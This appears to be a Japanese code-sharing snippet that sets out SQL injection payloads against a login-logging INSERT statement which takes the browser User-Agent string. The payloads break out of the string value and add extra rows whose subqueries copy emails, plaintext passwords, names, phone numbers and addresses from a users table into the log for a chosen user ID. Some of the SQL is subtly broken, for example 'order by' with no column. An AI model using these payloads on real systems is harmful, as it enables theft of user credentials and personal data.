Skip to content

Instantly share code, notes, and snippets.

insert loginlog (ua,user_id,ip,update_date,date)
VALUES('UserAgent','user_id','ip','update_date','date');
(カラム名ほとんど覚えてないです。)
--TableName:users
+----+----------+-----------+---------------+---------------+----------+----------------------+----------+--------------------------+--------+
| id | is_admin | name | kana | tel | zip_code | addr | password | email | token |
+----+----------+-----------+---------------+---------------+----------+----------------------+----------+--------------------------+--------+
| 1 | 0 | 中野 怜奈 | なかの れいな | 146-3457-9327 | 098-2546 | 東京都国分寺市日吉町 | 2548 | nakano_reina@example.com | xxxxxx |
+----+----------+-----------+---------------+---------------+----------+----------------------+----------+--------------------------+--------+
--TableName: loginlog
...:)
+-------------+---------+----------+---------------------+---------------------+
| ua | user_id | ip | update_date | date |
+-------------+---------+----------+---------------------+---------------------+
| Mozila xxxx | 1 | 10.0.0.1 | 2015/11/27 21:50:00 | 2015/11/27 21:50:00 |
+-------------+---------+----------+---------------------+---------------------+
fox',特定したユーザーID,concat((select email from users order by asc limit 0,1),':',
(select password from users order by asc limit 0,1)),'2015/11/27 15:00:00','2015/11/27 15:00:00'),('1
fox',特定したユーザーID,concat((select name from users where id = 5 order by id desc limit 0,1),',',
(select kana from users where id = 5 order by id desc limit 0,1),',',
(select email from users where id = 5 order by id desc limit 0,1),',',
(select tel from users where id = 5 order by id desc limit 0,1),',',
(select zip_code from users where id = 5 order by id desc limit 0,1),',',
(select address from users where id = 5 order by id desc limit 0,1),',',
(select password from users where id = 5 order by id desc limit 0,1)),'2015/11/18 07:10:10','2015/11/18 07:10:00'),('1
where id = 5の部分は、適当に引き出したいユーザーのIDを入力。
あああ',(select id from users order by desc limit 0,1),'10.0.0.1','2015/11/27 15:00:00','2015/11/27 15:00:00'),('1
このようにすると
insert loginlog (ua,user_id,ip,update_date,date)
VALUES('あああ',(select id from users order by desc limit 0,1),concat('10.0.0.',(select id from users order by desc limit 0,1)),'2015/11/27 15:00:00','2015/11/27 15:00:00'),
('1','user_id','ip','update_date','date');